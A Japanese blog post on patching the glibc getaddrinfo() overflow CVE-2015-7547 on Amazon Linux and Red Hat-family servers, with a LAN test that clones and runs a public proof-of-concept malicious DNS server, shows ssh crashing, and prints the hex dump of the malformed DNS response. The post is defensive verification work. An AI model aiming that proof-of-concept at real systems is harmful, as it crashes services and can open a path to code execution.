CVE-2015-7547の対策と脆弱性の検証

セキュリティ対策しなきゃ

先日アナウンスされたCVE-2015-7547の対応方法。
PoC を利用した脆弱性の検証も行ってみました。

はじめに

先日 glibc の脆弱性がレポートされました (CVE-2015-7547)。

参考 : glibc ライブラリの脆弱性 (CVE-2015-7547) に関する注意喚起

昨年のGHOSTに似ていますが、getaddrinfo()中でバッファオーバーフローの脆弱性が存在し、任意のコード実行やDoS攻撃が行われる可能性があるとの事で、gethostbyname() のGHOSTより影響範囲が広いのではないかと思われます。
※IPv6対応により、gethostbyname() → getaddrinfo() になってるので。

既に対策パッチも出そろっていて、弊社環境でも対策済みですが、対応方法等に関して書いておきます。

手順

対策はGHOSTの場合と同様 glibc をアップデートしてサーバ再起動すればOKです。

参考 : 【重要】glibcに関する深刻な脆弱性(GHOST)。今すぐ対策を

確認

glibc 2.9 以降が影響を受けるとの事。一応以下あたりで確認。
以下は Amazon Linux の場合

$ ldd --version
ldd (GNU libc) 2.17
Copyright (C) 2012 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.

後述のPoC ( Proof Of Concept ) を利用した検証を行ってもいいかもしれません (興味があれば)。

影響範囲(依存するサービス)はGHOSTの場合と同様に lsof コマンド使って調べる事が可能。

$ sudo lsof | grep libc | awk '{print $1}' | sort | uniq

AWS(EC2)

参考 : ALAS-2016-653 : Amazon Linux AMI Security Center

  1. yum でアップデート確認
    $ sudo yum check-update
    
  2. 以下が更新対象になっていれば、更新を行います。( Amazon Linux ( 64版 ) の場合 )
    • glibc-static-2.17-106.166.amzn1
    • glibc-debuginfo-2.17-106.166.amzn1
    • glibc-debuginfo-common-2.17-106.166.amzn1
    • glibc-headers-2.17-106.166.amzn1
    • glibc-2.17-106.166.amzn1
    • glibc-common-2.17-106.166.amzn1
    • glibc-devel-2.17-106.166.amzn1
    • nscd-2.17-106.166.amzn1
    • glibc-utils-2.17-106.166.amzn1
    更新対象として現れない場合、以下を実施して、再度 yum check-update しましょう。
    $ sudo yum clean all
    
  3. yum update します。
    $ sudo yum update
    
  4. アップデート完了後はシステム再起動しましょう。
    $ sudo reboot
    

    ※影響を受けるサービスのみ再起動する方法でも構いませんが、再起動してしまった方が確実です。

Redhat

CVE-2015-7547 - Red Hat Customer Portal

CentOS

[CentOS-announce] CESA-2016:0175 Critical CentOS 6 glibc Security Update

Redhat系 は AWSの場合と同様 yum update → 再起動すればOKでしょう

Debian

CVE-2015-7547 - Debian Security Tracker

Ubuntsu

CVE-2015-7547 in Ubuntu

PoC

既に実証コードが公開されています。
fjserna/CVE-2015-7547

試してみました。( LAN上のCentOSにて )

最新版glibc適用前

  1. PoCコードを実行
    ( 問題あるパケットを返すDNSキャッシュサーバとして動作 )
    $ git clone https://github.com/fjserna/CVE-2015-7547/
    $ cd CVE-2015-7547
    $ sudo ./CVE-2015-7547-poc.py
    
  2. 別ターミナルで 上記DNSを参照するような操作を行います

    DNSを127.0.0.1に設定して以下を実行

    $ ssh www.hogehoge.co.jp
    セグメンテーション違反です
    

    見事にセグメンテーション違反で落ちました。

  3. nslookup すると以下のような結果に

    ※nslokup や dig は getaddrinfo() を使っていないらしい

    $ nslookup server 127.0.0.1
    
    ;; Truncated, retrying in TCP mode.
    ;; Got bad packet: bad label type
    2970 bytes
    47 ad 81 80 00 01 00 b8 00 00 00 00 00 00 06 73          G..............s
    65 72 76 65 72 00 00 01 00 01 c0 0c 00 01 00 01          erver...........
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44 c0 0c 00 01 00 01          ......DDDD......
    00 00 00 0d 00 04 44 44 44 44                            ......DDDD
    

最新版glibc適用後

glibc 更新してから再実行してみると

$ ssh www.hogehoge.co.jp
ssh: Could not resolve hostname www.hogehoge.co.jp: Name or service not known

セグメンテーション違反で落ちる事はなくなりました。

まとめ

AWSではAmazonのDNSを参照いている場合には問題ないとアナウンスしています ( CVE-2015-7547 Advisory ) し、オープンリゾルバ 等を利用していなければ問題ないという話も聞こえてきますが、パッチが出ている環境であれば、さっさとパッチ適用して再起動した方がよいでしょう。